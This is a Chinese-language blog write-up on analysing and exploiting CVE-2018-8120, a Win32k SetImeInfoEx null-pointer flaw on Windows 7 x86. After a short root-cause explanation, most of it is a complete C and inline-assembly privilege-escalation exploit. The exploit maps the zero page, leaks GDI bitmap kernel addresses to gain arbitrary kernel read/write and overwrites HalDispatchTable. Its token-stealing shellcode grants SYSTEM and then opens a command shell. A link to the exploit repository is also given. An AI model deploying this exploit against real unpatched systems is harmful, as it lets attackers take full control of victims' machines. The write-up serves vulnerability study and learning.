1、前言
借着這次來成都輪崗的機會跟tp老哥好好學習一下漏洞,這個cve-2018-8120准備從頭到尾好好調試一下。
2、實驗環境
- windows7 x86 sp1
- Windbg
- IDA
- ProcessHacker
3、漏洞成因
Win32k!SetImeInfoEx中在使用Win32k!TagWindowStation對象中的spklList成員時並沒有進行判斷。
通過交叉引用發現NtUserSetImeInfoEx調用了這個函數。
由於我們通過CreateWindowStation的Win32k!TagWindowStation.spklList默認為0,因此我們使用SetProcessWindowStation將我們創建的Win32k!TagWindowStation對象綁定到當前程序窗口,在通過手動調用NtSetUserImeInfoEx,就會造成0地址訪問而藍屏。
4、實驗
通過PCHunter找到NtSetUserImeInfoEx的序號然后根據不同版本系統構造不同的系統調用(通過OD觀察)。
知道序號和系統調用方式后編寫代碼觸發漏洞。
成功觸發藍屏
5、利用
由於在Win7中我們可以通過NtAllocateVirtualMemory申請到0地址的空間,所以我們就有了控制SetImeInfoEx中a1的能力,其中參數a2則是我們傳給NtUserSetImeInfoEx的數組。因此我們就能利用SetImeInfoEx中memcpy來進行任意地址寫,但由於memcpy寫的長度固定不可控,因此直接覆蓋HalDispatchTable會造成其他相鄰數據被破壞。這里利用BitMap內核讀寫(不要問我怎么知道的,問就是跟大佬學的)。
- 0地址頁面利用NtAllocateVirtualMemory
1 PVOID baseAddress = 0x100; 2 PVOID RegionSize = 0x1000; 3 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0; 4 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory"); 5 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
- HalDispatchTable利用ZwQuerySystemInformation找到內核模塊后加載查導出表
1 DWORD SysModuleSize; 2 PVOID NtKernelAddr; 3 PVOID NtKernelAddr_InUser; 4 PVOID HalDispatchTable; 5 char* ImageName; 6 char NtKernelImageName[256] = {0}; 7 PSYSTEM_MODULE_INFORMATION SysModule; 8 _ZwQuerySystemInformation ZwQuerySystemInformation; 9 10 ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); 11 ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize); 12 SysModule = malloc(SysModuleSize); 13 ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize); 14 15 NtKernelAddr = SysModule->Module[0].Base; 16 strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName); 17 ImageName = strrchr(NtKernelImageName, '\\') + 1; 18 NtKernelAddr_InUser = LoadLibrary(ImageName); 19 HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable"); 20 HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
- BitMap內核對象泄露
從網上的資料來看,我們在用戶層調用CreateBitMap后返回的句柄低兩字節是一個指向GdiCell結構的索引,而這個結構指針保存在PEB.GdiSharedHandleTable。
1 typedef struct _GdiCell 2 { 3 PVOID pKernelAddress; 4 UINT16 wProcessIdl; 5 UINT16 wCount; 6 UINT16 wUpper; 7 UINT16 uType; 8 PVOID pUserAddress; 9 }GdiCell,*pGdiCell;
在分析SetBitMapBits時,在NtGdiSetBitMapBits里面找到了將句柄轉換為內核對象的代碼。發現這個計算方法和網上公開的一樣,我們有理由懷疑這個GdiSharedHandleTable_InKernel和PEB.GdiSharedHandleTable是同一個數組。經過在WIndbg中進行驗證(如下圖)的確為同一個數組,經Windbg驗證是同一物理頁面在用戶空間也映射了一份。
結合ReactOS和網上的資料可以看到SetBitMapBits和GetBitMapBits是操作的SURFOBJ中的pvScan0成員。
但是由於漏洞中的memcpy大小不可控,所以回覆蓋一部分的SURFOBJ成員,所以我們需要修復某些在Set/GetBitMapBits時所必須的成員(需要修復的值是可以在bDoGetSetBitmapBits中分析得出,這里我直接抄的別人的...)。
- 完整代碼
1 #include<stdio.h> 2 #include<windows.h> 3 4 5 int syscall_index = 0x1226; 6 #define PEB_GdiSharedHandleTable 0x94 //win7 x86 sp1 7 8 typedef struct _GdiCell 9 { 10 PVOID pKernelAddress; 11 UINT16 wProcessIdl; 12 UINT16 wCount; 13 UINT16 wUpper; 14 UINT16 uType; 15 PVOID pUserAddress; 16 }GdiCell,*pGdiCell; 17 18 typedef NTSTATUS (__stdcall *_ZwAllocateVirtualMemory)( 19 _In_ HANDLE ProcessHandle, 20 _Inout_ PVOID* BaseAddress, 21 _In_ ULONG_PTR ZeroBits, 22 _Inout_ PSIZE_T RegionSize, 23 _In_ ULONG AllocationType, 24 _In_ ULONG Protect 25 ); 26 27 typedef NTSTATUS (__stdcall*_ZwQuerySystemInformation)( 28 _In_ DWORD SystemInformationClass, 29 _Inout_ PVOID SystemInformation, 30 _In_ ULONG SystemInformationLength, 31 _Out_opt_ PULONG ReturnLength 32 ); 33 34 35 typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(IN ULONG ProfileSource, 36 OUT PULONG Interval); 37 38 39 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 40 HANDLE Section; 41 PVOID MappedBase; 42 PVOID Base; 43 ULONG Size; 44 ULONG Flags; 45 USHORT LoadOrderIndex; 46 USHORT InitOrderIndex; 47 USHORT LoadCount; 48 USHORT PathLength; 49 CHAR ImageName[256]; 50 } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY; 51 52 typedef struct _SYSTEM_MODULE_INFORMATION { 53 ULONG Count; 54 SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 55 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; 56 57 58 59 void __declspec(naked) NtSetUserImeEx(int a) 60 { 61 __asm 62 { 63 mov esi,a 64 mov eax,syscall_index 65 mov edx,0x7ffe0300 66 call dword ptr[edx] 67 ret 4 68 } 69 } 70 71 void __declspec(naked) GetSystemToken() 72 { 73 __asm 74 { 75 pushad 76 mov eax,fs:[0x124] //CurrentThread 77 mov eax,[eax+0x150] //Process 78 lea edx,[eax+0xf8] //MyProcess.Token 79 noFind: 80 mov eax,[eax+0xb8] //Eprocess.ActiveProcessLinks 81 sub eax,0xb8 //next Eprocess struct 82 mov ebx,[eax+0xb4] //PID 83 cmp ebx,4 84 jnz noFind 85 mov eax,[eax+0xf8] //System.Token 86 mov [edx],eax 87 lock inc [eax] 88 lock inc[eax] 89 popad 90 ret 91 } 92 } 93 94 95 int main(int argc,char** argv) 96 { 97 98 //泄露內核對象地址 99 DWORD Manage_kernel, Worker_kernel, bitMapKernelAddress; 100 HBITMAP hManage; 101 HBITMAP hWorker; 102 103 hManage = CreateBitmap(5, 5, 5, 5, NULL); 104 hWorker = CreateBitmap(5, 5, 5, 5, NULL); 105 __asm 106 { 107 mov eax,fs:[0x30] 108 mov eax,[eax+ PEB_GdiSharedHandleTable] 109 mov bitMapKernelAddress,eax 110 } 111 Manage_kernel = *(DWORD*)(((DWORD)hManage & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 112 Worker_kernel = *(DWORD*)(((DWORD)hWorker & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 113 114 115 116 //獲取HalDispatchTable表地址 117 DWORD SysModuleSize; 118 PVOID NtKernelAddr; 119 PVOID NtKernelAddr_InUser; 120 PVOID HalDispatchTable; 121 char* ImageName; 122 char NtKernelImageName[256] = {0}; 123 PSYSTEM_MODULE_INFORMATION SysModule; 124 _ZwQuerySystemInformation ZwQuerySystemInformation; 125 126 ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); 127 ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize); 128 SysModule = malloc(SysModuleSize); 129 ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize); 130 131 NtKernelAddr = SysModule->Module[0].Base; 132 strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName); 133 ImageName = strrchr(NtKernelImageName, '\\') + 1; 134 NtKernelAddr_InUser = LoadLibrary(ImageName); 135 HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable"); 136 HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr); 137 (DWORD)HalDispatchTable += 4; 138 139 //申請0地址內存並構造SURFOBJ,使Manage.pvScan0 = &Worker.pvScan0 140 DWORD* p = NULL; 141 PVOID baseAddress = 0x100; 142 PVOID RegionSize = 0x1000; 143 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0; 144 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory"); 145 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 146 147 148 DWORD ime[0x57] = {0x90}; 149 HWINSTA hsta = CreateWindowStation(0, 0, READ_CONTROL, 0); 150 SetProcessWindowStation(hsta); 151 152 *(p + 5) = (Worker_kernel + 0x10 + 0x20); //sizeof(SURFACE.BASEOBJECT) = 0x10 153 //offset(SURFOBJ.pvScan0) = 0x20 154 ime[0] = (Worker_kernel + 0x10 + 0x20); //while ( p[5] != *ime ) 155 156 *(p + 0xb) = (Manage_kernel + 0x10 + 0x20); //v4 = (_DWORD *)p[0xB]; 157 //if (!v4) 158 // return 0; 159 //fix some member what Set/GetBitMapBits use 160 161 DWORD* pp = (DWORD*)& ime[1]; //以下是要修復的一些成員 162 pp[0] = 0x180; 163 pp[1] = 0xabcd; 164 pp[2] = 6; 165 pp[3] = 0x10000; 166 pp[5] = 0x4800200; 167 168 169 170 //觸發漏洞 171 NtSetUserImeEx(&ime); 172 173 DWORD oldHalDispatchTable; 174 PVOID ShellCode= GetSystemToken; 175 SetBitmapBits(hManage, 4, &HalDispatchTable); 176 GetBitmapBits(hWorker, 4, &oldHalDispatchTable); 177 SetBitmapBits(hWorker, 4, &ShellCode); 178 179 _NtQueryIntervalProfile NtQueryIntervalProfile; 180 ULONG Interval = 0; 181 NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); 182 NtQueryIntervalProfile(0x1337, &Interval); 183 SetBitmapBits(hWorker, 4, &oldHalDispatchTable); 184 185 system("cmd"); 186 187 return 0; 188 }
- 效果截圖
6、參考資料
1 https://www.cnblogs.com/amaza/p/9557838.html#bitmap-gdi%E5%87%BD%E6%95%B0%E5%AE%9E%E7%8E%B0%E5%86%85%E6%A0%B8%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%AF%BB%E5%86%99 2 https://www.freebuf.com/column/173797.html 3 https://bbs.pediy.com/thread-225436.htm
利用代碼: <https://github.com/DreamoneOnly/CVE-2018-8120/tree/master>